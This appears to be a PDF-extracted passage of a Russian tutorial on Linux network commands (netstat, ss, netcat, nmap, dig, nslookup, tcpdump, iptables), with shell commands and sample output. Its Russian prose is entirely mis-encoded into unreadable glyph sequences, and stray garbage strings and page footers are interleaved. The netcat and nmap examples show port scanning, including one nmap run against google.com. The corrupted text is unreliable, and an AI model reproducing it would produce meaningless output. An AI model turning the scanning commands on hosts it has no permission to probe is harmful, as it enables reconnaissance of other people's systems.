ʠʥʬʦʨʤʘʮʠʶ, ʪʘʢʫʶ ʢʘʢ ʩʝʪʝʚʳʝ ʩʦʝʜʠʥʝʥʠʷ, ʪʘʙʣʠʮʳ ʤʘʨʰʨʫʪʠʟʘʮʠʠ, ʩʪʘʪʠʩʪʠʢʫ 

ʠʥʪʝʨʬʝʡʩʘ ʠ ʤʥʦʛʦʝ ʜʨʫʛʦʝ, ʢʘʩʘʶʱʝʝʩʷ ʩʝʪʝʚʦʡ ʧʦʜʩʠʩʪʝʤʳ Linux. ʕʪʦ ʧʦʣʝʟʥʦ 

ʜʣʷ ʫʩʪʨʘʥʝʥʠʷ ʥʝʧʦʣʘʜʦʢ ʚ ʩʝʪʠ ʠ ʘʥʘʣʠʟʘ ʧʨʦʠʟʚʦʜʠʪʝʣʴʥʦʩʪʠ. 

ʂʨʦʤʝ ʪʦʛʦ, ʵʪʦ ʪʘʢʞʝ ʦʩʥʦʚʥʦʡ ʠʥʩʪʨʫʤʝʥʪ ʦʪʣʘʜʢʠ ʩʝʪʝʚʳʭ ʩʣʫʞʙ, ʠʩʧʦʣʴʟʫʝʤʳʡ 

ʜʣʷ ʧʨʦʚʝʨʢʠ ʪʦʛʦ, ʢʘʢʠʝ ʧʨʦʛʨʘʤʤʳ ʧʨʦʩʣʫʰʠʚʘʶʪ ʢʘʢʠʝ ʧʦʨʪʳ. ʅʘʧʨʠʤʝʨ, 

ʩʣʝʜʫʶʱʘʷ ʢʦʤʘʥʜʘ ʧʦʢʘʞʝʪ ʚʩʝ ʧʦʨʪʳ TCP ʚ ʨʝʞʠʤʝ ʧʨʦʩʣʫʰʠʚʘʥʠʷ ʠ ʢʘʢʠʝ 

ʧʨʦʛʨʘʤʤʳ ʧʨʦʩʣʫʰʠʚʘʶʪ ʠʭ. 

$ sudo netstat - tnlp  

 

Active  Internet  connections ( only servers )  

Proto  Recv- Q Send- Q Local  Address            Foreign  Address          State        

PID / Program  name     

tcp        0      0 0.0 . 0.0 : 587              0.0 . 0.0 :*                LISTEN      

1257 / master          

tcp        0      0 127.0 . 0.1 : 5003           0.0 . 0.0 :*                LISTEN      

1/ systemd            

tcp        0      0 0.0 . 0.0 : 110              0.0 . 0.0 :*                LISTEN      

1015 / dovecot         

tcp        0      0 0.0 . 0.0 : 143              0.0 . 0.0 :*                LISTEN      

1015 / dovecot         
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tcp        0      0 0.0 . 0.0 : 111              0.0 . 0.0 :*                LISTEN      

1/ systemd            

tcp        0      0 0.0 . 0.0 : 465              0.0 . 0.0 :*                LISTEN      

1257 / master          

tcp        0      0 0.0 . 0.0 : 53              0.0 . 0.0 :*                LISTEN      

1404 / pdns_server     

tcp        0      0 0.0 . 0.0 : 21              0.0 . 0.0 :*                LISTEN      

1064 / pure - ftpd ( SER  

tcp        0      0 0.0 . 0.0 : 22              0.0 . 0.0 :*                LISTEN      

972 / sshd             

tcp        0      0 127.0 . 0.1 : 631            0.0 . 0.0 :*                LISTEN      

975 / cupsd            

tcp        0      0 0.0 . 0.0 : 25              0.0 . 0.0 :*                LISTEN      

1257 / master          

tcp        0      0 0.0 . 0.0 : 8090             0.0 . 0.0 :*                LISTEN      

636 / lscpd ( lscpd -    

tcp        0      0 0.0 . 0.0 : 993              0.0 . 0.0 :*                LISTEN      

1015 / dovecot         

tcp        0      0 0.0 . 0.0 : 995              0.0 . 0.0 :*                LISTEN      

1015 / dovecot         

tcp6       0      0 ::: 3306                  :::*                     LISTEN      

1053 / mysqld          
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tcp6       0      0 ::: 3307                  :::*                     LISTEN      

1211 / mysqld          

tcp6       0      0 ::: 587                   :::*                     LISTEN      

1257 / master          

tcp6       0      0 ::: 110                   :::*                     LISTEN      

1015 / dovecot         

tcp6       0      0 ::: 143                   :::*                     LISTEN      

1015 / dovecot         

tcp6       0      0 ::: 111                   :::*                     LISTEN      

1/ systemd            

tcp6       0      0 ::: 80                   :::*                     LISTEN      

990 / httpd            

tcp6       0      0 ::: 465                   :::*                     LISTEN      

1257 / master          

tcp6       0      0 ::: 53                   :::*                     LISTEN      

1404 / pdns_server     

t cp6       0      0 ::: 21                   :::*                     LISTEN      

1064 / pure - ftpd ( SER  

tcp6       0      0 ::: 22                   :::*                     LISTEN      

972 / sshd             

tcp6       0      0 :: 1: 631                  :::*                     LISTEN      

975 / cupsd            
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tcp6       0      0 ::: 25                   :::*                     LISTEN      

1257 / master          

tcp6       0      0 ::: 993                   :::*                     LISTEN      

1015 / dovecot         

tcp6       0      0 ::: 995                   :::*                     LISTEN      

1015 / dovecot   

ʏʪʦʙʳ ʧʨʦʩʤʦʪʨʝʪʴ ʪʘʙʣʠʮʫ ʤʘʨʰʨʫʪʠʟʘʮʠʠ ʷʜʨʘ, ʠʩʧʦʣʴʟʫʡʪʝ ʬʣʘʛ -r (ʢʦʪʦʨʳʡ 

ʵʢʚʠʚʘʣʝʥʪʝʥ ʧʨʠʚʝʜʝʥʥʦʡ ʚʳʰʝ ʢʦʤʘʥʜʝ route). 

$ netstat - r  

 

Destination      Gateway          Genmask         Flags    MSS Window  irtt 

Iface  

default          gateway         0.0 . 0.0          UG        0 0          0 

enp0s3  

192.168 . 0.0      0.0 . 0.0          255.255 . 255.0    U         0 0          0 

enp0s3  

192.168 . 122.0    0.0 . 0.0          255.255 . 255.0    U         0 0          0 

virbr0  

ɺʥʠʤʘʥʠʝ: ʢʦʤʘʥʜʘ Netstat ʷʚʣʷʝʪʩʷ ʫʩʪʘʨʝʚʰʝʡ (deprecated) ʠ ʙʳʣʘ ʟʘʤʝʥʝʥʘ 

ʢʦʤʘʥʜʦʡ ss, ʢʦʪʦʨʫʶ ʨʘʩʩʤʦʪʨʠʤ ʥʠʞʝ. 
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11. ʂʦʤʘʥʜʘ ss 

ss (socket statistics - ʩʪʘʪʠʩʪʠʢʘ ʩʦʢʝʪʦʚ) - ʤʦʱʥʘʷ ʫʪʠʣʠʪʘ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ 

ʠʟʫʯʝʥʠʷ ʩʦʢʝʪʦʚ. ʆʥ ʚʳʚʦʜʠʪ ʩʪʘʪʠʩʪʠʢʫ ʩʦʢʝʪʦʚ ʠ ʦʪʦʙʨʘʞʘʝʪ ʠʥʬʦʨʤʘʮʠʶ, 

ʘʥʘʣʦʛʠʯʥʫʶ netstat. ʂʨʦʤʝ ʪʦʛʦ, ss ʧʦʢʘʟʳʚʘʝʪ ʙʦʣʴʰʝ ʠʥʬʦʨʤʘʮʠʠ ʦ TCP ʠ 

ʩʦʩʪʦʷʥʠʠ ʧʦ ʩʨʘʚʥʝʥʠʶ ʩ ʜʨʫʛʠʤʠ ʧʦʜʦʙʥʳʤʠ ʫʪʠʣʠʪʘʤʠ. 

ɺ ʩʣʝʜʫʶʱʝʤ ʧʨʠʤʝʨʝ ʧʦʢʘʟʘʥʦ, ʢʘʢ ʩʦʩʪʘʚʠʪʴ ʩʧʠʩʦʢ ʚʩʝʭ TCP-ʧʦʨʪʦʚ (ʩʦʢʝʪʦʚ), 

ʦʪʢʨʳʪʳʭ ʥʘ ʩʝʨʚʝʨʝ. 

$ ss - ta  

 

State       Recv- Q Send- Q                                        Local  

Address : Port                                                          Peer  

Address : Port                  

LISTEN     0      100                                                        

*: submission                                                              *:*                      

LISTEN     0      128                                                

127.0 . 0.1 : fmpro - internal                                                           

*:*                      

LISTEN     0      100                                                        

*: pop3                                                                    *:*                      

LISTEN     0      100                                                        

*: imap                                                                    *:*                      
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LISTEN     0      128                                                        

*: sunrpc                                                                  *:*                      

LISTEN     0      100                                                        

*: urd                                                                     *:*                      

LISTEN     0      128                                                        

*: domain                                                                  *:*                      

LISTEN     0      9                                                         

*: ftp                                                                     *:*                      

LISTEN     0      128                                                        

*: ssh                                                                     *:*                      

LISTEN     0      128                                                

127.0 . 0.1 : ipp                                                                     

*:*                      

LISTEN     0      100                                                        

*: smtp                                                                    *:*                      

LISTEN     0      128                                                        

*: 8090                                                                     *:*                      

LISTEN     0      100                                                        

*: imaps                                                                   *:*                      

LISTEN     0      100                                                        

*: pop3s                                                                   *:*                      
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ESTAB      0      0                                             

192.168 . 0.104 : ssh                                                         

192.168 . 0.103 : 36398                  

ESTAB      0      0                                                 

127.0 . 0.1 : 34642                                                            

127.0 . 0.1 : opsession - prxy        

ESTAB      0      0                                                 

127.0 . 0.1 : 34638                                                            

127.0 . 0.1 : opsession - prx y        

ESTAB      0      0                                                 

127.0 . 0.1 : 34644                                                            

127.0 . 0.1 : opsession - prxy        

ESTAB      0      0                                                 

127.0 . 0.1 : 34640                                                            

127.0 . 0.1 : opsession - prxy        

LISTEN     0      80                                                       

::: mysql                                                                  

:::*               

...  

ʏʪʦʙʳ ʦʪʦʙʨʘʟʠʪʴ ʚʩʝ ʘʢʪʠʚʥʳʝ TCP-ʩʦʝʜʠʥʝʥʠʷ ʚʤʝʩʪʝ ʩ ʠʭ ʪʘʡʤʝʨʘʤʠ, 

ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

$ ss - to  

12. ʂʦʤʘʥʜʘ NC 
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NC (NetCat), ʪʘʢʞʝ ʥʘʟʳʚʘʝʤʘʷ çʉʝʪʝʚʳʤ ʰʚʝʡʮʘʨʩʢʠʤ ʘʨʤʝʡʩʢʠʤ ʥʦʞʦʤè, 

ʷʚʣʷʝʪʩʷ ʤʦʱʥʦʡ ʫʪʠʣʠʪʦʡ, ʠʩʧʦʣʴʟʫʝʤʦʡ ʧʦʯʪʠ ʜʣʷ ʣʶʙʦʡ ʟʘʜʘʯʠ, ʩʚʷʟʘʥʥʦʡ ʩ 

ʩʦʢʝʪʘʤʠ ʜʦʤʝʥʘ TCP, UDP ʠʣʠ UNIX. NC ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʦʪʢʨʳʪʠʷ TCP-

ʩʦʝʜʠʥʝʥʠʡ, ʧʨʦʩʣʫʰʠʚʘʥʠʷ ʧʨʦʠʟʚʦʣʴʥʳʭ ʧʦʨʪʦʚ TCP ʠ UDP, ʚʳʧʦʣʥʝʥʠʷ 

ʩʢʘʥʠʨʦʚʘʥʠʷ ʧʦʨʪʦʚ ʠ ʤʥʦʛʦʛʦ ʜʨʫʛʦʛʦ. 

ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʝʛʦ ʚ ʢʘʯʝʩʪʚʝ ʧʨʦʩʪʳʭ ʧʨʦʢʩʠ-ʩʝʨʚʝʨʦʚ TCP ʜʣʷ 

ʪʝʩʪʠʨʦʚʘʥʠʷ ʩʝʪʝʚʳʭ ʜʝʤʦʥʦʚ, ʧʨʦʚʝʨʢʠ ʜʦʩʪʫʧʥʦʩʪʠ ʫʜʘʣʝʥʥʳʭ ʧʦʨʪʦʚ ʠ 

ʤʥʦʛʦʛʦ ʜʨʫʛʦʛʦ. ʂʨʦʤʝ ʪʦʛʦ, ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ nc ʚʤʝʩʪʝ ʩ ʢʦʤʘʥʜʦʡ pv 

ʜʣʷ ʧʝʨʝʜʘʯʠ ʬʘʡʣʦʚ ʤʝʞʜʫ ʜʚʫʤʷ ʢʦʤʧʴʶʪʝʨʘʤʠ. 

ɺ ʩʣʝʜʫʶʱʝʤ ʧʨʠʤʝʨʝ ʙʫʜʝʪ ʧʦʢʘʟʘʥʦ, ʢʘʢ ʩʢʘʥʠʨʦʚʘʪʴ ʩʧʠʩʦʢ ʧʦʨʪʦʚ. 

$ nc - zv server2 . merionet . lan 21 22 80 443  3000  

ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʫʢʘʟʘʪʴ ʜʠʘʧʘʟʦʥ ʧʦʨʪʦʚ. 

$ nc - zv server2 . merionet . lan 20- 90 

ɺ ʩʣʝʜʫʶʱʝʤ ʧʨʠʤʝʨʝ ʧʦʢʘʟʘʥʦ, ʢʘʢ ʠʩʧʦʣʴʟʦʚʘʪʴ nc ʜʣʷ ʦʪʢʨʳʪʠʷ TCP-

ʩʦʝʜʠʥʝʥʠʷ ʩ ʧʦʨʪʦʤ 5000 ʥʘ server2.merionet.lan, ʠʩʧʦʣʴʟʫʷ ʧʦʨʪ 3000 ʚ ʢʘʯʝʩʪʚʝ 

ʧʦʨʪʘ ʠʩʪʦʯʥʠʢʘ ʩ ʪʘʡʤ-ʘʫʪʦʤ 10 ʩʝʢʫʥʜ. 

$ nc - p 3000  - w 10 server2 . merionet . lan 5000  

13.ʂʦʤʘʥʜʘ Nmap 

Nmap (Network Mapper) - ʵʪʦ ʤʦʱʥʳʡ ʠ ʯʨʝʟʚʳʯʘʡʥʦ ʫʥʠʚʝʨʩʘʣʴʥʳʡ ʠʥʩʪʨʫʤʝʥʪ 

ʜʣʷ ʩʠʩʪʝʤʥʳʭ ʠ ʩʝʪʝʚʳʭ ʘʜʤʠʥʠʩʪʨʘʪʦʨʦʚ Linux. ʆʥ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʩʙʦʨʘ 

ʠʥʬʦʨʤʘʮʠʠ ʦʙ ʦʜʥʦʤ ʭʦʩʪʝ ʠʣʠ ʜʣʷ ʠʟʫʯʝʥʠʷ ʩʝʪʝʡ ʧʦ ʚʩʝʡ ʩʝʪʠ. Nmap ʪʘʢʞʝ 
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ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʩʢʘʥʠʨʦʚʘʥʠʷ ʙʝʟʦʧʘʩʥʦʩʪʠ, ʘʫʜʠʪʘ ʩʝʪʠ, ʧʦʠʩʢʘ ʦʪʢʨʳʪʳʭ 

ʧʦʨʪʦʚ ʥʘ ʫʜʘʣʝʥʥʳʭ ʭʦʩʪʘʭ ʠ ʤʥʦʛʦʛʦ ʜʨʫʛʦʛʦ. 

ʅʘʧʨʠʤʝʨ, ʚʳ ʤʦʞʝʪʝ ʩʢʘʥʠʨʦʚʘʪʴ ʭʦʩʪ, ʠʩʧʦʣʴʟʫʷ ʝʛʦ ʠʤʷ ʠʣʠ IP-ʘʜʨʝʩ. 

$ nmap google . com  

 

Starting  Nmap 6.40  (  http ://nmap.org ) at 2018 - 07- 12 09:23 BST  

Nmap scan report for  google . com ( 172.217 . 166.78 )  

Host  is  up ( 0.0036s  latency ).  

rDNS record for  172.217 . 166.78 :  bom05s15 - in - f14 . 1e100 . net  

Not  shown:  998  filtered ports  

PORT    STATE SERVICE  

80/ tcp  open  http  

443 / tcp open  https  

 

Nmap done :  1 IP address ( 1 host up )  scanned in  4.92  seconds  

ɺ ʢʘʯʝʩʪʚʝ ʘʣʴʪʝʨʥʘʪʠʚʳ ʤʦʞʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ IP-ʘʜʨʝʩ. 
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$ nmap 192.168 . 0.103  

 

Starting  Nmap 6.40  (  http ://nmap.org ) at 2018 - 07- 12 09:24 BST  

Nmap scan report for  192.168 . 0.103  

Host  is  up ( 0.000051s  latency ).  

Not  shown:  994  closed ports  

PORT     STATE SERVICE  

22/ tcp   open  ssh  

25/ tcp   open  smtp  

902 / tcp  open  iss - realsecure  

4242 / tcp open  vrml - multi - use  

5900 / tcp open  vnc  

8080 / tcp open  http - proxy  

MAC Address :  28: D2: 44: EB: BD: 98 ( Lcfc ( hefei )  Electronics  Technology  Co.)  

 

Nmap done :  1 IP address ( 1 host up )  scanned in  0.13  seconds  
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ɋɊȼɣȼɊɓ FP% NQQMVR 

14. ʂʦʤʘʥʜʘ host 

ʂʦʤʘʥʜʘ hos - ʵʪʦ ʧʨʦʩʪʘʷ ʫʪʠʣʠʪʘ ʜʣʷ DNS Lookup, ʦʥʘ ʧʝʨʝʚʦʜʠʪ ʠʤʝʥʘ ʭʦʩʪʦʚ 

ʚ IP-ʘʜʨʝʩʘ ʠ ʥʘʦʙʦʨʦʪ. 

$ host google . com 

 

google . com has address 172.217 . 166.78  

google . com mail is  handled by  20 alt1 . aspmx. l . google . com.  

google . com mail is  handled by  30 alt2 . aspmx. l . google . com.  

google . com mail is  handled by  40 alt3 . aspmx. l . google . com.  

google . com mail is  handled by  50 alt4 . aspmx. l . google . com.  

google . com mail is  handled by  10 aspmx. l . google . com.  

15. ʂʦʤʘʥʜʘ dig 

dig (domain information groper - ʩʙʦʨʱʠʢ ʠʥʬʦʨʤʘʮʠʠ ʦ ʜʦʤʝʥʝ) - ʵʪʦ ʝʱʝ ʦʜʥʘ 

ʧʨʦʩʪʘʷ ʫʪʠʣʠʪʘ DNS Lookup, ʢʦʪʦʨʘʷ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʟʘʧʨʦʩʘ ʠʥʬʦʨʤʘʮʠʠ, 

ʩʚʷʟʘʥʥʦʡ ʩ DNS, ʪʘʢʦʡ ʢʘʢ A Record, CNAME, MX Record ʠ ʪ. ʜ., ʥʘʧʨʠʤʝʨ: 
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$ dig google . com 

 

;  <<>> DiG 9.9 . 4- RedHat - 9.9 . 4- 51.el7  <<>> google . com 

;;  global  options :  +cmd 

;;  Got  answer :  

;;  - >>HEADER<<-  opcode :  QUERY,  status :  NOERROR,  id :  23083  

;;  flags :  qr rd ra ;  QUERY:  1,  ANSWER:  1,  AUTHORITY:  13,  ADDITIONAL:  14 

 

;;  OPT PSEUDOSECTION:  

;  EDNS:  version :  0,  flags :;  udp :  4096  

;;  QUESTION SECTION:  

; google . com.    IN  A 

 

;;  ANSWER SECTION:  

google . com.   72 IN  A 172.217 . 166.78  
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;;  AUTHORITY SECTION:  

com.    13482  IN  NS c. gtld - servers . net .  

com.    13482  IN  NS d. gtld - servers . net .  

com.    13482  IN  NS e. gtld - servers . net .  

com.    13482  IN  NS f . gtld - servers . net .  

com.    13482  IN  NS g. gtld - servers . net .  

com.    13482  IN  NS h. gtld - servers . net .  

com.    13482  IN  NS i . gtld - servers . net .  

com.    13482  IN  NS j . gtld - servers . net .  

com.    13482  IN  NS k. gtld - servers . net .  

com.    13482  IN  NS l . gtld - servers . net .  

com.    13482  IN  NS m. gtld - servers . net .  

com.    13482  IN  NS a. gtld - servers . net .  

com.    13482  IN  NS b. gtld - servers . net .  

 

;;  ADDITIONAL SECTION:  

https://wiki.merionet.ru/


 
 

 

161                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

a. gtld - servers . net .  81883  IN  A 192.5 . 6.30  

b. gtld - servers . net .  3999  IN  A 192.33 . 14.30  

c. gtld - servers . net .  14876  IN  A 192.26 . 92.30  

d. gtld - servers . net .  85172  IN  A 192.31 . 80.30  

e. gtld - servers . net .  95861  IN  A 192.12 . 94.30  

f . gtld - servers . net .  78471  IN  A 192.35 . 51.30  

g. gtld - servers . net .  5217  IN  A 192.42 . 93.30  

h. gtld - servers . net .  111531  IN  A 192.54 . 112.30  

i . gtld - servers . net .  93017  IN  A 192.43 . 172.30  

j . gtld - servers . net .  93542  IN  A 192.48 . 79.30  

k. gtld - servers . net .  107218  IN  A 192.52 . 178.30  

l . gtld - servers . net .  6280  IN  A 192.41 . 162.30  

m. gtld - servers . net .  2689  IN  A 192.55 . 83.30  

 

;;  Query  time :  4 msec 

;;  SERVER:  192.168 . 0.1 #53(192.168.0.1)  
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;;  WHEN:  Thu Jul  12 09: 30: 57 BST 2018  

;;  MSG SIZE  rcvd :  487  

16.ʂʦʤʘʥʜʘ NSLookup 

Nslookup ʪʘʢʞʝ ʷʚʣʷʝʪʩʷ ʧʦʧʫʣʷʨʥʦʡ ʫʪʠʣʠʪʦʡ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ ʟʘʧʨʦʩʦʚ 

DNS-ʩʝʨʚʝʨʦʚ ʢʘʢ ʚ ʠʥʪʝʨʘʢʪʠʚʥʦʤ, ʪʘʢ ʠ ʥʝ ʠʥʪʝʨʘʢʪʠʚʥʦʤ ʨʝʞʠʤʝ. Nslookup 

ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʟʘʧʨʦʩʘ ʟʘʧʠʩʝʡ ʨʝʩʫʨʩʦʚ DNS (RR - resource records). ɺʳ 

ʤʦʞʝʪʝ ʥʘʡʪʠ çAè ʟʘʧʠʩʴ (IP-ʘʜʨʝʩ) ʜʦʤʝʥʘ, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ: 

$ nslookup google . com 

 

Server :   192.168 . 0.1  

Address :  192.168 . 0.1 #53  

 

Non- authoritative answer :  

Name:  google . com 

Address :  172.217 . 166.78  

ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʚʳʧʦʣʥʠʪʴ ʦʙʨʘʪʥʳʡ ʧʦʠʩʢ ʜʦʤʝʥʘ. 

$ nslookup 216.58 . 208.174  
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Server :   192.168 . 0.1  

Address :  192.168 . 0.1 #53  

 

Non- authoritative answer :  

174.208 . 58.216 . in - addr . arpa  name = lhr25s09 - in - f14 . 1e100 . net .  

174.208 . 58.216 . in - addr . arpa  name = lhr25s09 - in - f174 . 1e100 . net .  

 

Authoritative  answers can be found from :  

in - addr . arpa  nameserver = e. in - addr - servers . arpa .  

in - addr . arpa  nameserver = f . in - addr - servers . arpa .  

in - addr . arpa  nameserver = a. in - addr - servers . arpa .  

in - addr . arpa  nameserver = b. in - addr - servers . arpa .  

in - addr . arpa  nameserver = c. in - addr - servers . arpa .  

in - addr . arpa  nameserver = d. in - addr - servers . arpa .  

a. in - addr - servers . arpa  internet address = 199.180 . 182.53  

https://wiki.merionet.ru/
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b. in - addr - servers . arpa  internet address = 199.253 . 183.183  

c. in - addr - servers . arpa  internet address = 196.216 . 169.10  

d. in - addr - servers . arpa  internet address = 200.10 . 60.53  

e. in - addr - servers . arpa  internet address = 203.119 . 86.101  

f . in - addr - servers . arpa  internet address = 193.0 . 9.1  

 

ȿɅȿɣȼɡȿɊɆɈɓ ɉɂɊɂɁɓɍ ɇȿȺɂɊɆɁ NKPVY 

17.ʂʦʤʘʥʜʘ Tcpdump 

Tcpdump - ʦʯʝʥʴ ʤʦʱʥʳʡ ʠ ʰʠʨʦʢʦ ʠʩʧʦʣʴʟʫʝʤʳʡ ʩʝʪʝʚʦʡ ʘʥʘʣʠʟʘʪʦʨ ʢʦʤʘʥʜʥʦʡ 

ʩʪʨʦʢʠ. ʆʥ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʟʘʭʚʘʪʘ ʠ ʘʥʘʣʠʟʘ ʧʘʢʝʪʦʚ TCP/IP, ʧʝʨʝʜʘʥʥʳʭ ʠʣʠ 

ʧʦʣʫʯʝʥʥʳʭ ʧʦ ʩʝʪʠ ʯʝʨʝʟ ʦʧʨʝʜʝʣʝʥʥʳʡ ʠʥʪʝʨʬʝʡʩ. 

ʏʪʦʙʳ ʟʘʭʚʘʪʳʚʘʪʴ ʧʘʢʝʪʳ ʩ ʟʘʜʘʥʥʦʛʦ ʠʥʪʝʨʬʝʡʩʘ, ʫʢʘʞʠʪʝ ʝʛʦ ʩ ʧʦʤʦʱʴʶ ʦʧʮʠʠ 

-i. 

$ tcpdump - i eth1  

 

tcpdump :  verbose output suppressed ,  use  - v or  - vv for  full protocol decode  

listening on enp0s3 ,  link - type EN10MB ( Ethernet ),  capture size 262144  bytes  

https://wiki.merionet.ru/
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09: 35: 40.287439  IP merionet . com. ssh > 192.168 . 0.103 . 36398 :  Flags  [ P.],  seq 

4152360356 : 4152360552 ,  ack 306922699 ,  win 270 ,  options [ nop , nop , TS val 

2211778668  ecr 2019055 ],  length 196  

09: 35: 40.287655  IP 192.168 . 0.103 . 36398  > merionet . com. ssh :  Flags  [.],  ack 

196 ,  win 5202 ,  options [ nop , nop , TS val 2019058  ecr 2211778668 ],  length 0 

09: 35: 40.288269  IP merionet . com. 54899  > gateway . domain :  43760 + PTR? 

103.0 . 168.192 . in - addr . arpa .  ( 44)  

09: 35: 40.333763  IP gateway . domain > merionet . com. 54899 :  43760  NXDomain*  0/ 1/ 0 

( 94)  

09: 35: 40.335311  IP merionet . com. 52036  > gateway . domain :  44289 + PTR? 

1.0 . 168.192 . in - addr . arpa .  ( 42)  

ʏʪʦʙʳ ʟʘʭʚʘʪʠʪʴ ʦʧʨʝʜʝʣʝʥʥʦʝ ʢʦʣʠʯʝʩʪʚʦ ʧʘʢʝʪʦʚ, ʠʩʧʦʣʴʟʫʡʪʝ ʧʘʨʘʤʝʪʨ -c, 

ʯʪʦʙʳ ʚʚʝʩʪʠ ʞʝʣʘʝʤʦʝ ʯʠʩʣʦ. 

$ tcpdump - c 5 - i eth1  

ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʟʘʭʚʘʪʳʚʘʪʴ ʠ ʩʦʭʨʘʥʷʪʴ ʧʘʢʝʪʳ ʚ ʬʘʡʣ ʜʣʷ ʧʦʩʣʝʜʫʶʱʝʛʦ 

ʘʥʘʣʠʟʘ, ʠʩʧʦʣʴʟʫʡʪʝ ʬʣʘʛ -w, ʯʪʦʙʳ ʫʢʘʟʘʪʴ ʚʳʭʦʜʥʦʡ ʬʘʡʣ. 

$ tcpdump - w captured . pacs - i eth1  

18. ʋʪʠʣʠʪʘ Wireshark 

Wireshark - ʵʪʦ ʧʦʧʫʣʷʨʥʳʡ, ʤʦʱʥʳʡ, ʫʥʠʚʝʨʩʘʣʴʥʳʡ ʠ ʧʨʦʩʪʦʡ ʚ ʠʩʧʦʣʴʟʦʚʘʥʠʠ 

ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʟʘʭʚʘʪʘ ʠ ʘʥʘʣʠʟʘ ʧʘʢʝʪʦʚ ʚ ʩʝʪʠ ʩ ʢʦʤʤʫʪʘʮʠʝʡ ʧʘʢʝʪʦʚ ʚ 

ʨʝʞʠʤʝ ʨʝʘʣʴʥʦʛʦ ʚʨʝʤʝʥʠ. 

https://wiki.merionet.ru/
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ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʩʦʭʨʘʥʠʪʴ ʧʦʣʫʯʝʥʥʳʝ ʜʘʥʥʳʝ ʚ ʬʘʡʣ ʜʣʷ ʧʦʩʣʝʜʫʶʱʝʡ 

ʧʨʦʚʝʨʢʠ. ʆʥ ʠʩʧʦʣʴʟʫʝʪʩʷ ʩʠʩʪʝʤʥʳʤʠ ʘʜʤʠʥʠʩʪʨʘʪʦʨʘʤʠ ʠ ʩʝʪʝʚʳʤʠ 

ʠʥʞʝʥʝʨʘʤʠ ʜʣʷ ʤʦʥʠʪʦʨʠʥʛʘ ʠ ʧʨʦʚʝʨʢʠ ʧʘʢʝʪʦʚ ʚ ʮʝʣʷʭ ʙʝʟʦʧʘʩʥʦʩʪʠ ʠ 

ʫʩʪʨʘʥʝʥʠʷ ʥʝʧʦʣʘʜʦʢ. 

19.ʋʪʠʣʠʪʘ Bmon 

bmon - ʤʦʱʥʘʷ ʫʪʠʣʠʪʘ ʜʣʷ ʤʦʥʠʪʦʨʠʥʛʘ ʠ ʦʪʣʘʜʢʠ ʩʝʪʠ, ʦʩʥʦʚʘʥʥʘʷ ʥʘ 

ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʝ, ʜʣʷ Unix-ʧʦʜʦʙʥʳʭ ʩʠʩʪʝʤ, ʦʥʘ ʩʦʙʠʨʘʝʪ ʩʪʘʪʠʩʪʠʢʫ, ʩʚʷʟʘʥʥʫʶ 

ʩ ʩʝʪʴʶ, ʠ ʧʝʯʘʪʘʝʪ ʝʝ ʚʠʟʫʘʣʴʥʦ ʚ ʫʜʦʙʥʦʤ ʜʣʷ ʯʝʣʦʚʝʢʘ ʬʦʨʤʘʪʝ. ʕʪʦ 

ʥʘʜʝʞʥʳʡ ʠ ʵʬʬʝʢʪʠʚʥʳʡ ʤʦʥʠʪʦʨ ʧʦʣʦʩʳ ʧʨʦʧʫʩʢʘʥʠʷ ʚ ʨʝʘʣʴʥʦʤ ʚʨʝʤʝʥʠ ʠ 

ʦʮʝʥʱʠʢ ʩʢʦʨʦʩʪʠ. 

 

ȼɅɉɊɈɋɄɂɅɊɓ ɋɇɈȿɁɣɂɅȼɗ ɌȿɂɈɁɆɣɆɄ NKPVY 

20. Iptables 

iptables - ʵʪʦ ʠʥʩʪʨʫʤʝʥʪ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ ʥʘʩʪʨʦʡʢʠ, ʧʦʜʜʝʨʞʢʠ ʠ ʧʨʦʚʝʨʢʠ 

ʪʘʙʣʠʮ ʬʠʣʴʪʨʘʮʠʠ IP-ʧʘʢʝʪʦʚ ʠ ʥʘʙʦʨʘ ʧʨʘʚʠʣ NAT. ʆʥ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ 

ʥʘʩʪʨʦʡʢʠ ʠ ʫʧʨʘʚʣʝʥʠʷ ʙʨʘʥʜʤʘʫʵʨʦʤ Linux (Netfilter). ʕʪʦ ʧʦʟʚʦʣʷʝʪ ʚʘʤ 

ʧʝʨʝʯʠʩʣʠʪʴ ʩʫʱʝʩʪʚʫʶʱʠʝ ʧʨʘʚʠʣʘ ʬʠʣʴʪʨʘʮʠʠ ʧʘʢʝʪʦʚ; ʜʦʙʘʚʣʷʪʴ ʠʣʠ ʫʜʘʣʷʪʴ 

ʠʣʠ ʠʟʤʝʥʷʪʴ ʧʨʘʚʠʣʘ ʬʠʣʴʪʨʘʮʠʠ ʧʘʢʝʪʦʚ; ʩʧʠʩʦʢ ʩʯʝʪʯʠʢʦʚ ʜʣʷ ʧʨʘʚʠʣ ʧʨʘʚʠʣ 

ʬʠʣʴʪʨʘʮʠʠ ʧʘʢʝʪʦʚ. 

